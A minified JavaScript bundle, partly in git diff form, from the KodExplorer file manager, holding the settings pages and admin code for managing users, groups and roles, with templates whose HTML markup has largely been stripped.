        \n
        \n
        \n
        {{LNG.theme_diy_color_end}}:
        \n
        \n \n
        \n
        \n
        \n
        {{LNG.theme_diy_color_radius}}:
        \n
        \n \n
        \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n\n \n
        \n
        \n
        \n \n
        \n
        \n\n
        \n
        \n'),define("app/src/setting/page/user.html",[],'\n\n
        \n
        \n
        \n
        {{LNG.recycle_open_if}}:
        \n
        \n \n
        \n
        \n\n
        \n
        {{LNG.setting_user_animate_open}}:
        \n
        \n \n
        \n
        \n\n
        \n
        {{LNG.setting_user_sound_open}}:
        \n
        \n \n
        \n
        \n\n
        \n
        {{LNG.upload_exist}}:
        \n
        \n \n \n \n
        \n
        \n
        \n
        \n
        \n\n\n\n'),define("app/src/setting/page/wall.html",[],'
        \n
        \n {{each data.setting_all.wallall.split(\',\') as value key}}\n
        \n
        \n
        \n {{/each}}\n
        \n
        \n
        \n\n\n
        \n

        {{LNG.setting_wall_diy}}

        \n
        \n
        \n
        URL:
        \n
        \n 3}}value="{{data.user.wall}}"{{/if}}/> \n \n \n
        \n
        \n\n \n
        \n
        \n
        \n \n
        \n
        \n
        \n
        \n'),define("app/src/setting/system/system_setting",[],function(){var e=function(){$("input[name='first_in']").live("click",function(){$("input[name='first_in']").removeAttr("checked"),$(this).attr("checked","checked") +}),$(".system_save").die("click").live("click",function(){var e={};$(".system_setting .form_row input").each(function(){var t=$(this);if("checkbox"==t.attr("type")){var i=void 0==t.attr("checked")?"0":"1";e[t.attr("name")]=i}else"radius"!=t.attr("type")&&(e[t.attr("name")]=urlEncode(t.val()))}),e.first_in=$("input[name='first_in'][checked]").val(),i(e)}),t(),$(".phpinfo").die("click").live("click",function(){$.dialog.open("./index.php?setting/php_info",{title:"php_info",width:"70%",height:"65%",resize:!0})}),$(".system_setting_more").die("click").live("click",function(){if(G.is_root){var e=G.basic_path+"config/setting_user.php",t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&("hidden"==$("."+i.config.id).css("visibility")&&(a=200),i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}}})},t=function(){$('.setting_menu .menu_list input[name="target"]').live("click",function(){"_blank"==$(this).val()?($(this).val("_self"),$(this).removeAttr("checked")):($(this).val("_blank"),$(this).attr("checked","checked"))}),$(".setting_menu .system_menu_add").live("click",function(){var e=$(".menu_default").clone().removeClass("menu_default hidden").addClass("menu_list");e.insertAfter(".setting_menu .menu_list:last")}),$(".setting_menu .menu_list .move_up").live("click",function(){var e=$(this).parent().parent();e.prev().hasClass("menu_list")&&e.insertBefore(e.prev())}),$(".setting_menu .menu_list .move_down").live("click",function(){var e=$(this).parent().parent();e.next().hasClass("menu_list")&&e.insertAfter(e.next())}),$(".setting_menu .menu_list .move_hidden").live("click",function(){var e=$(this).parent().parent();e.hasClass("menu_hidden")?(e.removeClass("menu_hidden"),$(this).text(LNG.menu_hidden)):(e.addClass("menu_hidden"),$(this).text(LNG.menu_show))}),$(".setting_menu .menu_list .move_del").live("click",function(){var e=$(this).parent().parent();e.remove()}),$(".system_menu_save").live("click",function(){var e=[];$(".setting_menu .menu_list").each(function(){var t=$(this),i={};t.hasClass("menu_default")||(t.find("input").each(function(){i[$(this).attr("name")]=urlEncode($(this).attr("value"))}),""!=i.name&&(i.use="1",i.type="",t.hasClass("menu_hidden")&&(i.use="0"),t.hasClass("menu_system")&&(i.type="system"),e.push(i)))}),i({menu:e})})},i=function(e){$.ajax({url:"index.php?setting/system_setting",type:"POST",data:"data="+urlEncode(jsonEncode(e)),dataType:"json",success:function(e){Tips.tips(e)}})};e()}),define("app/src/setting/system/system",["lib/contextMenu/jquery-contextMenu","lib/ztree/ztree","./system_member","./system_group","./system_role"],function(e){e("lib/contextMenu/jquery-contextMenu"),e("lib/ztree/ztree");var t=e("./system_member"),i=e("./system_group"),a=e("./system_role"),n=function(){o("system_group"),s(),a.init(),i.init()},o=function(e){$(".system_conennt .this").removeClass("this"),$(".system_conennt #"+e).addClass("this"),$(".left_content").addClass("hidden"),$("."+e).removeClass("hidden"),$(".right_frame").addClass("hidden"),$("#content_"+e).removeClass("hidden")},s=function(){$(".left_header .tab").die("click").live("click",function(){var e=$(this).attr("id");o(e)})},r=function(e){e.each(function(){var e=core.userSpaceHtml($(this).html());$(this).html(e)})},l=function(e){var t=G.user_path+e.path+"/home/";e.group_id&&(t=G.group_path+e.path+"/home/"),e.home_path&&(t=e.home_path),window.parent&&window.parent.Config&&"explorer"==window.parent.Config.pageApp?(window.parent.ui.path.list(t),Tips.tips(LNG.system_open_true_path,!0)):core.explorer(t)};return{init:n,sizeUse:r,openPath:l,dataList:core.tools.systemData,systemMember:t,systemGroup:i,systemRole:a}}),define("app/src/setting/system/system_member",[],function(e){var t,i,a=function(e){return void 0!=t?(n(e),void 0):($.ajax({url:"./index.php?system_member/get",dataType:"json",success:function(i){return i.code?(t=System.dataList(i,"member"),n(e),void 0):(Tips.tips(i),void 0)},error:function(){return!1}}),void 0)},n=function(a){""==a&&(a=i),i=a;var n=e("./tpl/user_list.html"),o=template.compile(n),s=o({LNG:LNG,select_group:a,user_list:t,group_list:System.systemGroup.getList(),role_list:System.systemRole.getList()});$(".user_liser_content").html(s),$(".button_aciton_muti button").addClass("disabled"),System.sizeUse($("#content_system_group .user_list_cell .space"))},o=function(e,n,o){if(void 0!=n){"object"!=typeof n&&(n=[n]);var s={del:LNG.system_member_remove_tips,status_set:"",role_set:LNG.system_member_set_role,group_reset:"",group_remove_from:LNG.system_member_remove_group,group_add:""},r=function(){$.ajax({url:"./index.php?system_member/do_action&action="+e,type:"POST",data:"user_id="+jsonEncode(n)+"¶m="+o,dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),$.dialog.list.share_dialog&&$.dialog.list.share_dialog.close(),t=void 0,a(i)}})};""==s[e]?r():$.dialog({id:"dialog_user_confirm",fixed:!0,icon:"question",padding:30,width:250,lock:!0,background:"#000",opacity:.2,content:s[e],ok:function(){r()},cancel:!0})}},s=function(e){var t={1:"read"};t[e]="read";var i={user_id:"",name:"",password:"123456",role:"default",group_info:t,config:{size_max:"1.5",size_use:"0"}};d(i,!0)},r=function(e){var t={1:"read"};t[e]="read";var i={user_id:"",name:"",password:"123456",role:"default",group_info:t,config:{size_max:"1.5",size_use:"0"}};d(i)},l=function(){var e=1073741824*parseFloat($(".size_max_set input").val()),t=core.fileSize(e);0==e||isNaN(e)?$(".size_max_set i").html(LNG.space_tips_default):$(".size_max_set i").html(t)},c=function(){var e=System.systemGroup.getList(),t=jsonDecode($("#group_info").attr("value")),i="";for(var a in t)e[a]&&(i+="read"==t[a]?''+e[a].name+"":''+e[a].name+"");$(".dlg_group_display .cell").html(i+'
        ')},d=function(n,s){var r=System.systemRole.getList(),d=e("./tpl/user.html");s&&(d=e("./tpl/user_import.html"));var u=template.compile(d),f=u({LNG:LNG,user_info:n,role_list:r}),h=$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,background:"#000",opacity:.1,title:"",padding:"0",fixed:!0,lock:!0,content:f});l(),System.sizeUse($(".share_view_info")),$("#group_info").val(jsonEncode(n.group_info)),$(".dlg_group_select").unbind("click").bind("click",function(){p($("#group_info").val(),function(e){$("#group_info").val(e),c()})}),c(),$(".input_line #name").textFocus();var m="./index.php?system_member/add";s?m="./index.php?system_member/add&isImport=1":""==n.name?$(".share_action .remove_button").hide():m="./index.php?system_member/edit&user_id="+n.user_id,$("#system_save").unbind("click").bind("click",function(){_()}),$(".select_drop_menu a").unbind("click").bind("click",function(){$(this).parent().parent().find("a").removeClass("selected"),$(this).addClass("selected"),$(".select_drop_menu .role_title").html($(this).html()),$("#role").val($(this).attr("data-role-id"))}),$(".remove_button").unbind("click").bind("click",function(){o("del",n.user_id,"")}),$(".dlg_goto_path").unbind("click").bind("click",function(){System.openPath(n)}),$(".content_box input").keyEnter(function(){_(!0)}),$("#system_save_goon_add").unbind("click").bind("click",function(){_(!0)}),$(".user_setting_more_btn").unbind("click").bind("click",function(){$(".user_setting_more").toggleClass("hidden")}),$(".select_path a.select_btn").unbind("click").bind("click",function(){var e=this;core.api.pathSelect({type:"folder",title:LNG.path_api_select_folder,firstPath:$(".select_path input").val()},function(t){$(e).parent().find("input").val(t)})}),$(".select_path a.reset").unbind("click").bind("click",function(){$(this).parent().find("input").val("")});var _=function(e){s&&(e=!1);var o={};$(".share_dialog .content_info [name]").each(function(){var e=urlEncode($(this).val());""!=e&&(o[$(this).attr("name")]=e)}),$.ajax({url:m,data:o,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(o){return Tips.close(o),o.code||"version_error"!=o.info?o.code?(t=void 0,a(i),s?h.close():""!=n.name||1!=e?h.close():$(".input_line #name").val("").textFocus(),void 0):(s&&$("#name").val(o.info),void 0):($.dialog({content:o.data,padding:"30px 25px",width:"300px",okVal:LNG.learn_more,ok:function(){window.open(core.versionUpdateVip)}}),void 0)}})}},p=function(t,i){var a=System.systemGroup.getListTree(),n=System.systemGroup.getList();t=jsonDecode(t),$.isArray(t)&&(t={});var o={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var i=12,a=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(a).after('').before(''+core.iconSmall("groupGuest")+"").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="";a.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data_group_id",t.id)}},callback:{onClick:function(e,i,a){t||(t={}),$("#"+a.tId+"_a").hasClass("this")?delete t[a.id]:t[a.id]="read",l()}}},s=function(){var e=$("#user_group_select");$.fn.zTree.init(e,o,a);var t=$.fn.zTree.getZTreeObj("user_group_select");t.expandAll(!0)},r=function(){var a=e("./tpl/group_select.html"),n=template.compile(a),o=n({LNG:LNG});$.dialog({id:"select_usre_group_dlg",title:LNG.system_member_group_edit,padding:"0",width:540,lock:!0,background:"#fff",opacity:.1,fixed:!0,content:o,ok:function(){i(jsonEncode(t))},cancel:!0}),s()},l=function(){var e="";$("#user_group_select .curSelectedNode").removeClass("curSelectedNode"),$("#user_group_select a[data_group_id]").removeClass("this");var i=function(e){var t={read:LNG.system_role_read,write:LNG.system_role_write},i="",a='class="selected"',n="btn-primary";"read"==e&&(i='class="selected"',a="",n="btn-default");var o='
        ";return o};for(var a in t)n[a]&&($("#user_group_select a[data_group_id="+a+"]").addClass("this"),e+='
      • '+' '+n[a].name+""+' '+i(t[a])+"
      • ");$(".select_group_right").html(e)},c=function(){$(".right_content .group_self .remove").die("click").live("click",function(){var e=$(this).parent().attr("group-id");delete t[e],l()}),$(".group_self .dropdown-menu li").die("click").live("click",function(){var e=$(this).attr("data-info"),i=$(this).parent().attr("data-current"),a=$(this).parent().parent().parent().attr("group-id");i!=e&&(t[a]=e,l())})};r(),l(),c()},u=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},f=function(){$("body").click(u).contextmenu(u),$.contextMenu({zIndex:9999,selector:".user_action_menu",items:{user_list_edit:{name:LNG.edit,icon:"edit",accesskey:"e"},sep1:"--------",user_remove:{name:LNG.remove,icon:"trash",accesskey:"d"},user_status_close:{name:LNG.system_member_unuse,icon:"",accesskey:"c"},user_status_open:{name:LNG.system_member_use,icon:"",accesskey:"o"},sep2:"--------",group_remove_from:{name:LNG.system_member_group_remove,icon:"",accesskey:"g"},group_add:{name:LNG.system_member_group_insert,icon:"",accesskey:"a"},group_reset:{name:LNG.system_member_group_reset,icon:"",accesskey:"i"}},callback:function(e,t){var i=t.$trigger.attr("data-id");$("#content_system_group .group_id").html();var a=[i];m(e,a,"")}})},h=function(){$(".size_max_set input").live("input",l),$("#content_system_group .content [data-action]").live("click",function(e){if(!$(e.target).is("input")){var t=$(this),i=t.attr("data-action"),a=[];if($("#content_system_group .user_select:checked").each(function(){a.push($(this).parent().parent().attr("data-id"))}),"user_list_edit"==i){var n=t.parent().parent().attr("data-id");a=[n]}return m(i,a,t,e),!0}})},m=function(e,i,a,n){var l=$("#content_system_group .group_id").html();switch(e){case"user_add":r(l);break;case"user_import":s(l);break;case"group_remove_from":o("group_remove_from",i,l);break;case"group_add":p("{}",function(e){o("group_add",i,e)});break;case"group_reset":p("{}",function(e){o("group_reset",i,e)});break;case"role_set":var c=a.attr("data-role-id");o("role_set",i,c);break;case"user_status_open":o("status_set",i,1);break;case"user_status_close":o("status_set",i,0);break;case"user_remove":o("del",i,"");break;case"user_list_select":var u=a.find(".user_select");u.attr("checked")?u.removeAttr("checked"):u.attr("checked","true"),_();break;case"user_list_edit":d(t[i[0]]),stopPP(n);break;default:}},_=function(){$("#content_system_group .user_select:checked").length>=1?$(".button_aciton_muti button").removeClass("disabled"):$(".button_aciton_muti button").addClass("disabled"),$("#content_system_group .user_list_cell ").removeClass("selected"),$("#content_system_group .user_select:checked").each(function(){$(this).parent().parent().addClass("selected")})},v=function(){$("#content_system_group .user_select_set").live("click",function(){$(this).attr("checked")?$("#content_system_group .user_select").attr("checked","true"):$("#content_system_group .user_select").removeAttr("checked"),_()}),$("#content_system_group .user_select").live("click",function(){_()})};return v(),h(),f(),{resetList:function(){t=void 0},loadList:a,add:r}}),define("app/src/setting/system/tpl/user_list.html",[],'
        \n
        \n \n \n \n
        \n \n
        \n \n \n
        \n\n
        \n \n \n \n
        \n
        \n
        \n \n \n \n \n \n \n \n \n \n {{each user_list as v i}}\n {{if v && (select_group==\'1\' || v.group_info[select_group]) }}\n \n \n \n \n \n \n \n {{/if}}\n {{/each}}\n \n
        {{LNG.username}}{{LNG.system_member_role}}{{LNG.space_size_use}}{{LNG.system_member_group}}
        \n {{if v.user_id!=\'1\'}}{{/if}}\n \n {{v.name}}\n {{v.user_id}}\n {{role_list[v.role]}}{{v.config.size_use}}/{{v.config.size_max}}\n {{each v.group_info as group_read group_id}}\n {{if group_list[group_id]}}\n {{if group_read=="read"}}\n {{group_list[group_id][\'name\']}}\n {{else}}\n {{group_list[group_id][\'name\']}}\n {{/if}}\n {{else}}\n \n {{/if}}\n {{/each}}\n
        \n
        \n\n\n'),define("app/src/setting/system/tpl/user.html",[],'
        \n
        \n
        \n {{if !user_info.name}}\n {{LNG.system_member_add}}\n {{else}}\n {{user_info.name}} \n {{/if}}\n
        \n {{if user_info.name}}\n \n {{/if}} \n
        \n
        \n
        \n {{LNG.username}}:\n \n {{if user_info.name}}\n \n {{else}}\n {{LNG.username}}\n {{/if}}\n
        \n
        \n
        \n {{LNG.password}}:\n \n {{if user_info.name}}{{LNG.system_member_password_tips}}{{/if}}\n
        \n
        \n
        \n {{LNG.space_size}}:\n \n \n
        \n
        \n
        \n {{LNG.system_member_role}}:\n \n
        \n \n \n
        \n\n \n {{LNG.more}}\n
        \n
        \n\n
        \n
        \n {{LNG.system_set_home_path}}:\n \n \n \n \n \n \n \n
        \n
        \n
        \n\n
        \n {{LNG.system_member_group}}:\n \n
        \n
        \n \n
        \n
        \n
        \n
        \n\n \n
        \n'),define("app/src/setting/system/tpl/user_import.html",[],'
        \n
        \n
        \n {{LNG.system_member_import}}\n
        \n
        \n
        \n
        \n {{LNG.username}}:\n \n {{#LNG.system_member_import_desc}}\n
        \n
        \n
        \n {{LNG.password}}:\n \n
        \n
        \n
        \n {{LNG.space_size}}:\n \n \n
        \n
        \n
        \n {{LNG.system_member_role}}:\n \n
        \n \n \n
        \n\n \n {{LNG.system_member_role}}\n
        \n
        \n
        \n {{LNG.system_member_group}}:\n \n\n
        \n
        \n \n
        \n
        \n
        \n
        \n\n \n
        \n'),define("app/src/setting/system/tpl/group_select.html",[],'
        \n
        \n
        \n {{LNG.system_group_select}}:\n {{LNG.system_group_select_result}}:\n
        \n
        \n
        \n
        \n
          \n
        \n
        \n
        \n
        \n
        \n'),define("app/src/setting/system/system_group",[],function(e){var t,i,a,n,o=function(){p(),c(),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),$(".menuGroup").die("mouseenter").live("mouseenter",function(){$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}),G.is_root||$("[data-action=group_home").addClass("hidden")},s={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!0,addDiyDom:function(e,t){var i=12,a=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(a).before(''+core.iconSmall("groupGuest")+"").remove(),t.level>=1){var o="";a.before(o)}$("#"+e+" #"+t.tId+"_a").addClass("menuGroup").append("").attr("data_group_id",t.id)}},callback:{onClick:function(e,t,i){r(t,i.id)},beforeRightClick:function(e,t){r(e,t.id)}}},r=function(e,i){if("folderList"==e){n=i;var a=t.getNodeByParam("id",i,null);t.selectNode(a),g(i)}else"group_parent_select"==e&&($("#group_parent").val(i),$(".select_group").addClass("hidden"),m())},l=function(e){var t=function(e){for(var i=0;e.length>i;i++)void 0!=e[i]?(e[i].pid=e[i].parent_id,e[i].id=e[i].group_id,delete e[i].children,delete e[i].parent_id,delete e[i].group_id,e[i].child&&(e[i].children=e[i].child,delete e[i].child,t(e[i].children))):delete e[i]},i=[],a=$.extend(!0,{},e);for(var n in a){var o=a[n];if(a[o.parent_id])a[o.parent_id].child||(a[o.parent_id].child=[]),a[o.parent_id].child.push(a[o.group_id]);else{var s=a[o.group_id];s&&i.push(s)}}return t(i),i},c=function(){$.ajax({url:"./index.php?&system_group/get",dataType:"json",error:function(){$("#folderList").html('
        '+LNG.system_error+"
        ")},success:function(e){return e.code?(a=System.dataList(e,"group"),i=l(a),$.fn.zTree.init($("#folderList"),s,i),t=$.fn.zTree.getZTreeObj("folderList"),t.expandAll(!0),void 0==n&&(n="1"),r("folderList",n),0!=$("#group_parent_select").length&&_(),void 0):($("#folderList").html('
        '+LNG.system_error+"
        "),void 0)}})},d=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},p=function(){$("body").click(d).contextmenu(d),$.contextMenu({zIndex:9999,selector:".menuGroup",items:{add_child:{name:LNG.system_group_add,icon:"plus",accesskey:"u"},edit:{name:LNG.edit,icon:"edit",accesskey:"e"},sep1:"--------",add_user:{name:LNG.system_member_add,icon:"user",accesskey:"g"},sep2:"--------",remove:{name:LNG.remove,icon:"remove-sign",accesskey:"r"}},callback:function(e,i){var a=i.$trigger.attr("id");a=a.replace("_a","");var n=t.getNodeByTId(a);switch(e){case"add_child":var o=u();o.parent_id=n.id,v(o);break;case"edit":var o=u(n.id);v(o);break;case"add_user":System.systemMember.add(n.id);break;case"remove":f(n.id);break;default:}}}),$(".sub_menu").die("click").live("click",function(e){$(this).contextMenu({x:e.pageX,y:e.pageY})})},u=function(e){return void 0==e?{group_id:"",name:"",parent_id:"",children:"",config:{size_max:"0",size_use:""},path:"",create_time:""}:a[e]},f=function(e,i){var a=t.getSelectedNodes()[0],n=a.getParentNode(),o="./index.php?system_group/del&group_id="+e;$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:LNG.system_group_remove,padding:30,width:300,lock:!0,background:"#000",opacity:.3,content:LNG.system_group_remove_tips,ok:function(){$.ajax({url:o,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){Tips.close(t),System.systemMember.resetList(),r("folderList",n.id),c(),"function"==typeof i&&i(e)}})},cancel:!0})},h=function(){var e=1073741824*parseFloat($(".size_max_set input").val()),t=core.fileSize(e);0==e||isNaN(e)?$(".size_max_set i").html(LNG.space_tips_default):$(".size_max_set i").html(t)},m=function(){var e=$("#group_parent_select"),t=$("#group_parent").val();if(e.find("a.menuGroup").removeClass("curSelectedNode"),""==t)return $(".select_parent_content .group_title").html("is root"),!1;var i=u(t);return $(".select_parent_content .group_title").html(i.name),e.find("a[data_group_id="+t+"]").addClass("curSelectedNode"),!0},_=function(){var e=$("#group_parent_select");$.fn.zTree.init(e,s,i);var t=$.fn.zTree.getZTreeObj("group_parent_select");t.expandAll(!0),m()&&$(".select_parent_content .btn").unbind("click").bind("click",function(){$(".select_group").toggleClass("hidden")})},v=function(t){var i=e("./tpl/group.html"),a=template.compile(i),n=a({LNG:LNG,groupInfo:t}),o=$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,background:"#000",opacity:.1,title:"",padding:"0",fixed:!0,lock:!0,content:n});h(),System.sizeUse($(".share_view_info")),_(),$(".input_line #name").textFocus();var s="./index.php?system_group/add";if(""!=t.name)var s="./index.php?system_group/edit&group_id="+t.group_id;$("#system_save").unbind("click").bind("click",function(){r()}),$(".dlg_goto_path").unbind("click").bind("click",function(){System.openPath(t)}),$(".remove_button").unbind("click").bind("click",function(){f(t.group_id,function(){o.close()})}),$(".content_box input").keyEnter(function(){r(!0)}),$("#system_save_goon_add").unbind("click").bind("click",function(){r(!0)}),$(".user_setting_more_btn").unbind("click").bind("click",function(){$(".user_setting_more").toggleClass("hidden")}),$(".select_path a.select_btn").unbind("click").bind("click",function(){var e=this;core.api.pathSelect({type:"folder",title:LNG.path_api_select_folder,firstPath:$(".select_path input").val()},function(t){$(e).parent().find("input").val(t)})}),$(".select_path a.reset").unbind("click").bind("click",function(){$(this).parent().find("input").val("")});var r=function(e){var i="";$(".share_dialog .content_info input[name]").each(function(){var e=urlEncode($(this).val()); +""!=e&&(i+="&"+$(this).attr("name")+"="+e)}),$.ajax({url:s,data:i,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){return Tips.close(i),i.code||"version_error"!=i.info?(i.code&&(c(),""!=t.name||1!=e?o.close():setTimeout(function(){$(".input_line #name").val("").textFocus()},200)),void 0):($.dialog({content:i.data,padding:"30px 25px",width:"300px",okVal:LNG.learn_more,ok:function(){window.open(core.versionUpdateVip)}}),void 0)}})}},g=function(e){var t=u(e);t&&($(".group_title .group_title_span").html(t.name),$(".group_size").html(t.config.size_use+"/"+t.config.size_max),$("#content_system_group .group_id").html(e),System.sizeUse($(".group_size")),System.systemMember.loadList(e))},b=function(){$(".size_max_set input").live("input",h),$("#content_system_group .header_content [data-action]").live("click",function(){var e=$(this).attr("data-action"),t=$("#content_system_group .group_id").html(),i=u(t);switch(e){case"group_edit":v(i);break;case"group_home":System.openPath(i);break;case"group_add_child":var a=u();a.parent_id=t,v(a);break;default:}})};return b(),{init:o,getGroupInfo:u,getListTree:function(){return i},getList:function(){return a}}}),define("app/src/setting/system/tpl/group.html",[],'
        \n
        \n
        \n {{if !groupInfo.name}}\n {{LNG.system_group_create}}\n {{else}}\n {{groupInfo.name}}\n {{/if}}\n
        \n {{if groupInfo.name}}\n \n {{/if}}\n
        \n
        \n
        \n {{LNG.system_group_name}}:\n \n {{if groupInfo.name}}\n \n {{else}}\n {{LNG.name}}\n {{/if}}\n
        \n
        \n
        \n {{LNG.space_size}}:\n \n \n
        \n
        \n
        \n {{LNG.system_group_father}}:\n \n \n \n
        \n
        \n\n
        \n  \n {{LNG.more}}\n
        \n
        \n
        \n
        \n {{LNG.system_set_home_path}}:\n \n \n \n \n \n \n \n
        \n
        \n
        \n
        \n\n \n
        \n\n'),define("app/src/setting/system/system_role",[],function(){var e,t,i=function(){$.ajax({url:"index.php?system_role/get",dataType:"json",async:!1,success:function(i){return i.code?(e=i.data,a(),void 0==t&&(t="1"),n(t),void 0):(Tips.tips(i),void 0)}})},a=function(){var t="";$.each(e,function(e,i){t+='
      • '+""+i.name+'
      • '}),$(".role_list_cell").html(t)},n=function(i){var a;t=i,$(".system_role li.role_cell").removeClass("select"),$("#content_system_role [data-action=role_add],#content_system_role [data-action=role_delete]").show(),void 0==i?(a={name:"",ext_not_allow:"php|jsp|html"},$("#content_system_role [data-action=role_add],#content_system_role [data-action=role_delete]").hide(),$("#content_system_role .role_title").html(LNG.system_role_add)):(a=e[i],$(".system_role [data-role-id="+i+"]").addClass("select"),$("#content_system_role .role_title").html(a.name),$("#content_system_role .role_id").html(i)),$(".group_editor #name").val(a.name).textFocus(),$(".group_editor #ext_not_allow").val(a.ext_not_allow),$(".group_editor .tag").removeClass("this"),$(".group_editor input").removeAttr("checked"),$(".group_editor .tag").each(function(){var e=$(this),t=e.attr("data-role");t=t.split(";"),t=t[0],a[t]&&(e.addClass("this"),e.find("input").attr("checked",!0))})},o=function(){var e=$(".group_editor #name").val(),a=$(".group_editor #ext_not_allow").val(),n={},o="index.php?system_role/add";return void 0==a&&(a=""),""==e?(Tips.tips(LNG.not_null,"error"),!1):($(".group_editor .tag.this").each(function(){for(var e=$(this).attr("data-role").split(";"),t=0;e.length>t;t++)n[e[t]]=1}),"1"==t&&n!={}&&(n={},Tips.tips(LNG.system_role_admin_set,"warning")),void 0!=t&&(o="index.php?system_role/edit&role_id="+t),$.ajax({url:o+"&name="+urlEncode(e)+"&ext_not_allow="+a,data:n,type:"POST",dataType:"json",success:function(e){Tips.tips(e),e.code&&(t=e.info,i(),System.systemMember.loadList(""))}}),void 0)},s=function(e){$.dialog({fixed:!0,icon:"question",padding:"30px 40px",drag:!0,title:LNG.warning,content:LNG.if_remove+c(e)+"?
        "+LNG.group_remove_tips,cancel:!0,ok:function(){$.ajax({url:"index.php?system_role/del&role_id="+e,async:!1,dataType:"json",success:function(e){Tips.tips(e),e.code&&(t=void 0,i(),System.systemMember.resetList(),System.systemMember.loadList(""))}})}})},r=function(){$(".group_editor .tag").each(function(){$(this).hasClass("this")?($(this).removeClass("this"),$(this).find("input").removeAttr("checked")):($(this).addClass("this"),$(this).find("input").attr("checked",!0)),$(".group_editor .combox:eq(0) .tag:eq(0)").hasClass("this")||($(".group_editor .combox:eq(0) .tag").removeClass("this"),$(".group_editor .combox:eq(0) .tag").find("input").removeAttr("checked")),$(".group_editor .combox:eq(1) .tag:eq(0)").hasClass("this")||($(".group_editor .combox:eq(1) .tag").removeClass("this"),$(".group_editor .combox:eq(1) .tag").find("input").removeAttr("checked"))})},l=function(){$(".group_editor .tag").live("click",function(){var e=$(this);if(select=!1,e.toggleClass("this"),e.hasClass("this")?(select=!0,e.find("input").attr("checked",!0)):(select=!1,e.find("input").removeAttr("checked")),e.parent().hasClass("combox")){var t=e.index();1==t&&0==select&&(e.parent().find(".tag").removeClass("this"),e.parent().find("input").removeAttr("checked")),1!=t&&1==select&&(e.parent().find(".tag:eq(0)").addClass("this"),e.parent().find("input:eq(0)").attr("checked",!0))}}),$(".system_role li.role_cell").live("click",function(){n($(this).attr("data-role-id"))}),$("#content_system_role [data-action]").live("click",function(e){var i=$(this).attr("data-action");switch($(this),i){case"role_add":n();break;case"role_delete":s(t);break;case"role_edit_save":o();break;case"revert_all":r();break;default:}stopPP(e)})},c=function(t){var i=e[t];return i?i.name:'null'},d=function(){var t={};return $.each(e,function(e,i){t[e]=i.name}),t};return l(),{init:i,getList:d,setSelect:n}}); \ No newline at end of file diff --git a/static/js/app/src/share_editor/main.js b/static/js/app/src/share_editor/main.js index 0d52c50..c6f592d 100755 --- a/static/js/app/src/share_editor/main.js +++ b/static/js/app/src/share_editor/main.js @@ -1,5 +1,5 @@ -/*! power by kodexplorer ver3.35(2016-12-23) [build 1482476909174] */ -define("app/src/share_editor/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/taskTap","../../common/core","../../share_common/rightMenu","./ui","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../../share_common/topbar"],function(e){Config={TreeId:"folderList",AnimateTime:200,pageApp:"editor",treeAjaxURL:"index.php?share/treeList&app=editor&user="+G.user+"&sid="+G.sid},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../share_common/rightMenu"),ui=e("./ui"),tree=e("../../common/tree"),ui.tree=tree;var t=e("../../share_common/topbar");$(document).ready(function(){core.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),t.init(),G.project.length>1&&(Config.treeAjaxURL+="&project="+urlEncode(G.project)),ui.init(),TaskTap.init(),rightMenu.initEditor()})}),define("app/common/taskTap",[],function(){var e={},t="",i=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var a=$("."+t);"hidden"==a.css("visibility")?i.display(!0).zIndex():a.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab 